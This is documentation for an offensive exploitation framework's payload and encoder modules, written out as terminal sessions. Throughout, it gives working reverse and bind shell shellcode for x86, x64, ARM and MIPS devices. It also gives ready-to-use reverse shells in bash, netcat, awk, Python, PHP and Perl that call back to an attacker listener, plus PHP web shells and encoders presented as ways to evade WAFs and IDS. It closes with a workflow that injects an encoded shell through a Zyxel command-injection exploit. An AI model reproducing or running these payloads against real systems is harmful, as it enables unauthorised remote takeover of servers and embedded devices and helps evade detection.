Payloads and Encoders
Overview
EmbedXPL-Forge ships 32 payload modules across 9 architecture/language categories and 13 encoder modules across 3 language categories. Payloads are standalone shellcode generators or script-based shells usable directly or embedded in exploit modules. Encoders transform payload bytes for obfuscation or transport.
Payload categories
| Category | Path prefix | Count | Description |
|---|---|---|---|
x86 | payloads/x86/ | 2 | Intel x86 32-bit shellcode |
x64 | payloads/x64/ | 2 | Intel x86-64 / AMD64 shellcode |
armle | payloads/armle/ | 2 | ARM little-endian (ARM32, Cortex-A) |
mipsbe | payloads/mipsbe/ | 2 | MIPS big-endian (routers, cameras) |
mipsle | payloads/mipsle/ | 2 | MIPS little-endian |
cmd | payloads/cmd/ | 14 | Command-line / shell-based payloads |
python | payloads/python/ | 4 | Python 3 socket-based payloads |
php | payloads/php/ | 2 | PHP payloads (web shells) |
perl | payloads/perl/ | 2 | Perl payloads |
Encoder categories
| Category | Path prefix | Count | Algorithms |
|---|---|---|---|
python | encoders/python/ | 5 | base32, base64, hex, rot13, url |
php | encoders/php/ | 4 | base64, hex, rot13, url |
perl | encoders/perl/ | 4 | base64, hex, rot13, url |
Architecture payloads: binary shellcode
Binary shellcode payloads generate position-independent ELF-ready shellcode for the target architecture. They are used directly by exploit modules when shell_type matches the target OS/arch, or manually for custom integration.
Common options (all binary payload modules)
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
lhost | OptIP | Yes (reverse) | "" | IPv4 | Attacker listener IP |
lport | OptPort | Yes (reverse) | 4444 | 1-65535 | Attacker listener port |
port | OptPort | Yes (bind) | 4444 | 1-65535 | Port to bind on target |
badchars | OptString | No | "" | hex chars, e.g. \x00\x0a | Characters to avoid in shellcode |
format | OptString | No | raw | raw, hex, c, python | Output format |
x86 - Intel 32-bit
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/x86/bind_tcp | Bind TCP shell on target port (x86 Linux) |
reverse_tcp | payloads/x86/reverse_tcp | Reverse TCP shell to attacker (x86 Linux) |
Terminal session - x86 reverse_tcp:
exf > use payloads/x86/reverse_tcp
exf (x86 Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (x86 Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (x86 Reverse TCP Shell) > show options
Target options:
┌──────────┬──────────────────┬──────────────────────────────────────────┐
│ Name │ Current settings │ Description │
├──────────┼──────────────────┼──────────────────────────────────────────┤
│ lhost │ 10.0.0.99 │ Attacker listener IP │
│ lport │ 4444 │ Attacker listener port │
│ badchars │ │ Characters to avoid in shellcode │
│ format │ raw │ Output format: raw/hex/c/python │
└──────────┴──────────────────┴──────────────────────────────────────────┘
exf (x86 Reverse TCP Shell) > set format python
[+] format => python
exf (x86 Reverse TCP Shell) > run
[*] Running module ...
[*] Generating x86 Linux reverse TCP shellcode
LHOST: 10.0.0.99, LPORT: 4444
Badchars: (none)
[+] Shellcode (68 bytes):
buf = b""
buf += b"\x31\xc0\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x89\xc3\x68\x0a\x00\x00\x63\x66\x68"
buf += b"\x11\x5c\x43\x66\x6a\x02\x89\xe1\x6a\x10\x51"
buf += b"\x53\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x31\xc9"
buf += b"\xb1\x03\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x31"
buf += b"\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
buf += b"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd"
buf += b"\x80"
# Usage: nc -lnvp 4444 (or msfconsole handler)
# Then inject buf into target process
Terminal session - x86 bind_tcp:
exf > use payloads/x86/bind_tcp
exf (x86 Bind TCP Shell) > set port 5555
[+] port => 5555
exf (x86 Bind TCP Shell) > set format c
[+] format => c
exf (x86 Bind TCP Shell) > run
[*] Running module ...
[*] Generating x86 Linux bind TCP shellcode
LPORT: 5555, Badchars: (none)
[+] Shellcode (89 bytes):
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
"\xcd\x80\x5b\x5e\x52\x68\x15\xb3\x00\x00\x66\x68\x15"
"\xb3\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\xb0\x66\xb3"
"\x04\xcd\x80\xb0\x66\x43\xcd\x80\x59\x52\x59\xb1\x02"
"\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2"
"\xb0\x0b\xcd\x80";
// Connect: nc 192.168.1.100 5555
x64 - Intel 64-bit
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/x64/bind_tcp | Bind TCP shell (x64 Linux) |
reverse_tcp | payloads/x64/reverse_tcp | Reverse TCP shell (x64 Linux) |
Terminal session - x64 reverse_tcp:
exf > use payloads/x64/reverse_tcp
exf (x64 Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (x64 Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (x64 Reverse TCP Shell) > run
[*] Running module ...
[*] Generating x64 Linux reverse TCP shellcode
LHOST: 10.0.0.99, LPORT: 4444
[+] Shellcode (74 bytes):
buf = b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2"
buf += b"\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a"
buf += b"\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d"
buf += b"\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
buf += b"\x02\x11\x5c\xc7\x44\x24\x04\x0a\x00\x00\x63\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x41\xff\xc0\x6a\x2a\x58\x0f"
buf += b"\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21"
buf += b"\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x54\x5e\x5f"
buf += b"\x6a\x3b\x58\x0f\x05"
# Arch: x86_64 Linux, no null bytes
armle - ARM little-endian
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/armle/bind_tcp | Bind TCP shell (ARM LE - routers, cameras, IoT) |
reverse_tcp | payloads/armle/reverse_tcp | Reverse TCP shell (ARM LE) |
Terminal session - armle reverse_tcp:
exf > use payloads/armle/reverse_tcp
exf (ARM LE Reverse TCP Shell) > set lhost 192.168.1.200
[+] lhost => 192.168.1.200
exf (ARM LE Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (ARM LE Reverse TCP Shell) > set format hex
[+] format => hex
exf (ARM LE Reverse TCP Shell) > run
[*] Running module ...
[*] Generating ARM little-endian reverse TCP shellcode
Target arch: ARM Cortex-A (Linux EABI)
LHOST: 192.168.1.200, LPORT: 4444
[+] Shellcode (80 bytes, hex):
02 00 a0 e3 01 10 a0 e3 0e 70 a0 e3 01 00 a0 e3
00 00 00 ef 00 40 a0 e1 07 10 a0 e3 c0 a1 8d e2
02 00 82 e3 c0 10 8d e2 10 20 a0 e3 61 70 a0 e3
03 00 a0 e3 00 00 00 ef 03 10 a0 e3 3f 70 a0 e3
00 00 00 ef 00 10 a0 e1 01 00 51 e1 fb ff ff 1a
01 30 a0 e3 66 00 8f e2 0d 00 8f e2 0e 70 a0 e3
00 00 00 ef
# Target: ARM32 embedded Linux (routers: ASUS RT-N, cameras: Hikvision)
mipsbe - MIPS big-endian
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/mipsbe/bind_tcp | Bind TCP shell (MIPS BE - Cisco, Juniper, D-Link) |
reverse_tcp | payloads/mipsbe/reverse_tcp | Reverse TCP shell (MIPS BE) |
Terminal session - mipsbe reverse_tcp:
exf > use payloads/mipsbe/reverse_tcp
exf (MIPS BE Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (MIPS BE Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (MIPS BE Reverse TCP Shell) > run
[*] Running module ...
[*] Generating MIPS big-endian reverse TCP shellcode
Target arch: MIPS32 BE Linux (e.g. Cisco RV series, D-Link)
LHOST: 10.0.0.99, LPORT: 4444
[+] Shellcode (112 bytes):
buf = b"\x24\x0f\xff\xfd\x01\xe0\x78\x27\x21\xe4\xff\xff"
buf += b"\x28\x06\x00\x01\x28\x07\xff\xfe\x24\x02\x10\x57"
buf += b"\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x21\x10\xc0\x20"
buf += b"\x24\x11\x00\x07\x24\x1a\x00\x77\x24\x02\x10\x49"
buf += b"\x01\x01\x01\x0c\x24\x11\x00\x0a\x00\x00\x00\x63"
buf += b"\x24\x0a\x11\x5c\x24\x09\x11\x5c"
# ... (truncated for display)
mipsle - MIPS little-endian
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/mipsle/bind_tcp | Bind TCP shell (MIPS LE - TP-Link, Netgear, Zyxel) |
reverse_tcp | payloads/mipsle/reverse_tcp | Reverse TCP shell (MIPS LE) |
Terminal session - mipsle bind_tcp:
exf > use payloads/mipsle/bind_tcp
exf (MIPS LE Bind TCP Shell) > set port 6666
[+] port => 6666
exf (MIPS LE Bind TCP Shell) > set badchars "\x00\x0a\x0d"
[+] badchars => \x00\x0a\x0d
exf (MIPS LE Bind TCP Shell) > run
[*] Running module ...
[*] Generating MIPS little-endian bind TCP shellcode
Target arch: MIPS32 LE Linux (e.g. TP-Link Archer, Netgear R7000)
LPORT: 6666, Badchars: \x00\x0a\x0d
[+] Checking shellcode for bad characters...
[+] No bad characters detected in 120-byte shellcode
[+] Shellcode (120 bytes):
buf = b"\xfd\xff\x0f\x24\x27\x78\xe0\x01\xff\xff\xe4\x21"
...
# Connect: nc 192.168.1.100 6666
Command-line / script payloads
payloads/cmd/ contains 14 modules for shell, scripting language, and utility-based payloads that inject via command injection vulnerabilities. No shellcode compilation needed - payloads run directly on the target’s existing interpreter.
| Module | Path | Description |
|---|---|---|
bash_reverse_tcp | payloads/cmd/bash_reverse_tcp | /dev/tcp bash reverse shell |
netcat_bind_tcp | payloads/cmd/netcat_bind_tcp | Netcat bind shell (nc -lnvp) |
netcat_reverse_tcp | payloads/cmd/netcat_reverse_tcp | Netcat reverse shell |
awk_bind_tcp | payloads/cmd/awk_bind_tcp | AWK bind TCP shell |
awk_bind_udp | payloads/cmd/awk_bind_udp | AWK bind UDP shell |
awk_reverse_tcp | payloads/cmd/awk_reverse_tcp | AWK reverse TCP shell |
perl_bind_tcp | payloads/cmd/perl_bind_tcp | Perl command-line bind shell |
perl_reverse_tcp | payloads/cmd/perl_reverse_tcp | Perl command-line reverse shell |
php_bind_tcp | payloads/cmd/php_bind_tcp | PHP command-line bind shell |
php_reverse_tcp | payloads/cmd/php_reverse_tcp | PHP command-line reverse shell |
python_bind_tcp | payloads/cmd/python_bind_tcp | Python 3 command-line bind shell |
python_bind_udp | payloads/cmd/python_bind_udp | Python 3 command-line bind UDP shell |
python_reverse_tcp | payloads/cmd/python_reverse_tcp | Python 3 command-line reverse shell |
python_reverse_udp | payloads/cmd/python_reverse_udp | Python 3 command-line reverse UDP shell |
Common options (cmd/ payloads)
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
lhost | OptIP | Yes (reverse) | "" | IPv4 | Attacker listener IP |
lport | OptPort | Yes | 4444 | 1-65535 | Port number |
port | OptPort | Yes (bind) | 4444 | 1-65535 | Bind port on target |
encode | OptBool | No | False | true/false | Base64-encode the command (for injection via HTTP) |
Terminal session - bash_reverse_tcp:
exf > use payloads/cmd/bash_reverse_tcp
exf (Bash Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (Bash Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (Bash Reverse TCP Shell) > run
[*] Running module ...
[*] Payload: bash -i >& /dev/tcp/10.0.0.99/4444 0>&1
[+] Command (raw):
bash -i >& /dev/tcp/10.0.0.99/4444 0>&1
[+] Command (URL-encoded for HTTP injection):
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.99%2F4444%200%3E%261
[+] Start listener: nc -lnvp 4444
Terminal session - netcat_reverse_tcp:
exf > use payloads/cmd/netcat_reverse_tcp
exf (Netcat Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (Netcat Reverse TCP Shell) > set lport 4445
[+] lport => 4445
exf (Netcat Reverse TCP Shell) > run
[*] Running module ...
[+] Command (standard netcat with -e):
nc 10.0.0.99 4445 -e /bin/sh
[+] Command (busybox netcat, no -e flag, for embedded Linux):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.99 4445 > /tmp/f
[+] Start listener: nc -lnvp 4445
Terminal session - awk_reverse_tcp:
exf > use payloads/cmd/awk_reverse_tcp
exf (AWK Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (AWK Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (AWK Reverse TCP Shell) > run
[*] Running module ...
[+] Command:
awk 'BEGIN{s="/inet/tcp/0/10.0.0.99/4444";while(1){do{printf "shell>" |& s;s |& getline c;if(c){while((c |& getline)>0)print $0 |& s;close(c)}}while(c!="exit")close(s)}}' /dev/null
[+] Notes: Works on BusyBox awk (embedded routers/cameras). No /bin/sh dependency.
Terminal session - python_reverse_tcp (cmd/):
exf > use payloads/cmd/python_reverse_tcp
exf (Python3 Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (Python3 Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (Python3 Reverse TCP Shell) > run
[*] Running module ...
[+] Command:
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('10.0.0.99',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"
[+] One-liner base64 (for injection through JSON/HTTP):
python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9...'))"
Terminal session - awk_bind_tcp:
exf > use payloads/cmd/awk_bind_tcp
exf (AWK Bind TCP Shell) > set port 7777
[+] port => 7777
exf (AWK Bind TCP Shell) > run
[*] Running module ...
[+] Command (bind on target port 7777):
awk 'BEGIN{s="/inet/tcp/7777/0/0";while(1){do{s |& getline c;print "$ " |& s;while((c |& getline)>0){print $0 |& s};close(c)}while(c!="exit");close(s)}}' /dev/null
[+] Connect with: nc 192.168.1.100 7777
Python payloads (module-based)
payloads/python/ contains 4 Python 3 socket-based payloads usable as Python modules.
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/python/bind_tcp | Python 3 bind TCP server-side shell |
bind_udp | payloads/python/bind_udp | Python 3 bind UDP shell |
reverse_tcp | payloads/python/reverse_tcp | Python 3 reverse TCP shell |
reverse_udp | payloads/python/reverse_udp | Python 3 reverse UDP shell |
Terminal session - python/reverse_tcp:
exf > use payloads/python/reverse_tcp
exf (Python3 Reverse TCP Module) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (Python3 Reverse TCP Module) > set lport 4444
[+] lport => 4444
exf (Python3 Reverse TCP Module) > run
[*] Running module ...
[*] Generating Python 3 reverse TCP shell module
LHOST: 10.0.0.99, LPORT: 4444
[+] Payload (Python 3 module):
import socket, subprocess, os
def reverse_shell(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.Popen(['/bin/sh', '-i'])
s.close()
if __name__ == '__main__':
reverse_shell('10.0.0.99', 4444)
[+] Start listener: nc -lnvp 4444 or msfconsole -x "use multi/handler; set payload python/shell_reverse_tcp..."
Terminal session - python/bind_udp:
exf > use payloads/python/bind_udp
exf (Python3 Bind UDP Module) > set port 5555
[+] port => 5555
exf (Python3 Bind UDP Module) > run
[*] Running module ...
[+] Payload (Python 3 UDP bind shell):
import socket, subprocess, os
def udp_shell(port):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', port))
while True:
data, addr = s.recvfrom(4096)
result = subprocess.run(data.decode().strip(), shell=True,
capture_output=True, text=True)
s.sendto((result.stdout + result.stderr).encode(), addr)
if __name__ == '__main__':
udp_shell(5555)
[+] Use: nc -u 192.168.1.100 5555
[+] Note: UDP shells are stateless - ideal for firewalls that block TCP
PHP payloads
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/php/bind_tcp | PHP bind TCP shell (web server context) |
reverse_tcp | payloads/php/reverse_tcp | PHP reverse TCP shell (web server context) |
Terminal session - php/reverse_tcp:
exf > use payloads/php/reverse_tcp
exf (PHP Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (PHP Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (PHP Reverse TCP Shell) > run
[*] Running module ...
[*] Generating PHP reverse TCP shell
LHOST: 10.0.0.99, LPORT: 4444
[+] Payload (PHP):
<?php
$sock = fsockopen("10.0.0.99", 4444);
$proc = proc_open("/bin/sh -i", [0 => $sock, 1 => $sock, 2 => $sock], $pipes);
proc_close($proc);
?>
[+] One-liner (for injection via RFI or command execution):
<?php system('bash -c "bash -i >& /dev/tcp/10.0.0.99/4444 0>&1"');?>
[+] Obfuscated (via encoder):
<?php eval(base64_decode('JHNvY2sgPSBmc29ja29wZW4oIjEwLjAuMC45OSIsIDQ0NDQpO...')); ?>
Terminal session - php/bind_tcp:
exf > use payloads/php/bind_tcp
exf (PHP Bind TCP Shell) > set port 8888
[+] port => 8888
exf (PHP Bind TCP Shell) > run
[*] Running module ...
[+] Payload (PHP bind shell on port 8888):
<?php
$server = stream_socket_server("tcp://0.0.0.0:8888", $errno, $errstr);
$client = stream_socket_accept($server);
while ($cmd = fgets($client)) {
$output = shell_exec(trim($cmd));
fwrite($client, $output);
}
?>
[+] Connect: nc 192.168.1.100 8888
Perl payloads
| Module | Path | Description |
|---|---|---|
bind_tcp | payloads/perl/bind_tcp | Perl bind TCP shell |
reverse_tcp | payloads/perl/reverse_tcp | Perl reverse TCP shell |
Terminal session - perl/reverse_tcp:
exf > use payloads/perl/reverse_tcp
exf (Perl Reverse TCP Shell) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (Perl Reverse TCP Shell) > set lport 4444
[+] lport => 4444
exf (Perl Reverse TCP Shell) > run
[*] Running module ...
[+] Payload:
perl -e 'use Socket;$i="10.0.0.99";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
[+] One-liner (safe for shell injection):
perl -MSocket -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(4444,inet_aton("10.0.0.99")));open STDIN,">&S";open STDOUT,">&S";open STDERR,">&S";exec{"/bin/sh"}"-i"'
Encoders
Encoders transform payload bytes or script content for obfuscation, transport encoding, or injection into restricted character sets.
Encoder module map
| Module | Path | Input | Output | Notes |
|---|---|---|---|---|
python/base64 | encoders/python/base64 | Python payload string | base64.b64encode() wrapped eval | Standard base64 |
python/base32 | encoders/python/base32 | Python payload string | base64.b32encode() wrapped eval | Base32 variant |
python/hex | encoders/python/hex | Python payload string | bytes.fromhex() wrapped exec | Hex encoding |
python/rot13 | encoders/python/rot13 | Python payload string | codecs.decode(...,'rot_13') exec | ROT13 |
python/url | encoders/python/url | Python payload string | urllib.parse.unquote() exec | URL encoding |
php/base64 | encoders/php/base64 | PHP payload string | eval(base64_decode(...)) | PHP base64 |
php/hex | encoders/php/hex | PHP payload string | eval(hex2bin(...)) | PHP hex |
php/rot13 | encoders/php/rot13 | PHP payload string | eval(str_rot13(...)) | PHP ROT13 |
php/url | encoders/php/url | PHP payload string | eval(urldecode(...)) | PHP URL encoding |
perl/base64 | encoders/perl/base64 | Perl payload string | eval(decode_base64(...)) | Perl base64 |
perl/hex | encoders/perl/hex | Perl payload string | eval(pack('H*',...)) | Perl hex |
perl/rot13 | encoders/perl/rot13 | Perl payload string | eval(y/A-Za-z/N-ZA-Mn-za-m/) | Perl ROT13 |
perl/url | encoders/perl/url | Perl payload string | eval(URI::Escape::uri_unescape(...)) | Perl URL encoding |
Common encoder options
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
payload | OptString | Yes | "" | any string | Raw payload content to encode |
iterations | OptInteger | No | 1 | 1-10 | Number of encoding passes |
output | OptString | No | stdout | stdout, file path | Output destination |
Terminal session - encoders/python/base64
exf > use encoders/python/base64
exf (Python Base64 Encoder) > set payload "import socket,subprocess,os;s=socket.socket();s.connect(('10.0.0.99',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"
[+] payload => import socket,subprocess,os;s=socket.socket()...
exf (Python Base64 Encoder) > run
[*] Running module ...
[*] Encoding Python payload with base64 (1 pass)
[+] Encoded payload:
exec(__import__('base64').b64decode(b'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC45OScsNDQ0NCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbJy9iaW4vc2gnLCctaSddKQ==').decode())
[+] Usage: inject as single-line Python in command injection context
[+] Or: python3 -c "exec(__import__('base64').b64decode(b'aW1wb3J0...'))"
Terminal session - encoders/python/base64 with 2 iterations (double encoding)
exf (Python Base64 Encoder) > set iterations 2
[+] iterations => 2
exf (Python Base64 Encoder) > run
[*] Running module ...
[*] Encoding Python payload with base64 (2 passes)
[+] Encoded payload (double base64):
exec(__import__('base64').b64decode(__import__('base64').b64decode(b'WlhaaWIzUjBYMkJoWTJ0bGJpZ3hJRUpzWVhraVlYZHo...').decode()).decode())
Terminal session - encoders/php/base64
exf > use encoders/php/base64
exf (PHP Base64 Encoder) > set payload "<?php system($_GET['cmd']); ?>"
[+] payload => <?php system($_GET['cmd']); ?>
exf (PHP Base64 Encoder) > run
[*] Running module ...
[*] Encoding PHP payload with base64 (1 pass)
[+] Encoded payload:
<?php eval(base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+')); ?>
[+] Or using echo pipe:
echo 'PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+' | base64 -d | php
Terminal session - encoders/perl/hex
exf > use encoders/perl/hex
exf (Perl Hex Encoder) > set payload "use Socket;\$i=\"10.0.0.99\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}"
[+] payload => use Socket;$i="10.0.0.99";...
exf (Perl Hex Encoder) > run
[*] Running module ...
[*] Encoding Perl payload with hex (1 pass)
[+] Encoded payload:
perl -e 'eval(pack("H*","75736520536f636b65743b..."
Terminal session - encoders/python/url
exf > use encoders/python/url
exf (Python URL Encoder) > set payload "import os;os.system('id')"
[+] payload => import os;os.system('id')
exf (Python URL Encoder) > run
[*] Running module ...
[+] URL-encoded payload (for HTTP query string injection):
import%20os%3Bos.system%28%27id%27%29
[+] Wrapped eval form:
exec(__import__('urllib.parse',fromlist=['unquote']).unquote('import%20os%3Bos.system%28%27id%27%29'))
Terminal session - encoders/php/rot13
exf > use encoders/php/rot13
exf (PHP ROT13 Encoder) > set payload "<?php system($_GET['cmd']); ?>"
[+] payload => <?php system($_GET['cmd']); ?>
exf (PHP ROT13 Encoder) > run
[*] Running module ...
[+] ROT13-encoded PHP payload:
<?php eval(str_rot13('<?cuc flfgrz($_TRG[\'pzq\']); ?>')); ?>
[+] Notes: ROT13 evades naive string matching in WAFs/IDS without adding null bytes.
Payload selection guide
| Target OS | Architecture | Recommended payload category |
|---|---|---|
| Linux embedded (router/camera) | MIPS LE | payloads/mipsle/reverse_tcp |
| Linux embedded (router/camera) | MIPS BE | payloads/mipsbe/reverse_tcp |
| Linux embedded (IoT/camera) | ARM LE | payloads/armle/reverse_tcp |
| Linux server (x86) | x86 | payloads/x86/reverse_tcp |
| Linux server (x64) | x64 | payloads/x64/reverse_tcp |
| Any with bash | any | payloads/cmd/bash_reverse_tcp |
| Any with Python 3 | any | payloads/cmd/python_reverse_tcp |
| Any with netcat | any | payloads/cmd/netcat_reverse_tcp |
| Web app / RFI | any | payloads/php/reverse_tcp |
| Perl available | any | payloads/perl/reverse_tcp |
| Firewall blocks TCP | any | payloads/python/reverse_udp or payloads/cmd/python_reverse_udp |
Combining payloads with encoders
The typical workflow for bypassing WAFs or character restrictions:
# Step 1: Generate base payload
exf > use payloads/cmd/python_reverse_tcp
exf (Python3 Reverse TCP Shell) > set lhost 10.0.0.99
exf (Python3 Reverse TCP Shell) > set lport 4444
exf (Python3 Reverse TCP Shell) > run
[+] Command: python3 -c "import socket,subprocess,os;..."
# Step 2: Encode for injection
exf > use encoders/python/base64
exf (Python Base64 Encoder) > set payload "import socket,subprocess,os;..."
exf (Python Base64 Encoder) > run
[+] Encoded payload: exec(__import__('base64').b64decode(b'...').decode())
# Step 3: Inject via exploit module
exf > use exploits/firewalls/zyxel/usg_flex_cmd_injection_cve_2022_30525
exf (Zyxel USG FLEX OS Command Injection CVE-2022-30525) > set target 10.0.0.254
exf (Zyxel USG FLEX OS Command Injection CVE-2022-30525) > set command "python3 -c \"exec(__import__('base64').b64decode(b'...').decode())\""
exf (Zyxel USG FLEX OS Command Injection CVE-2022-30525) > run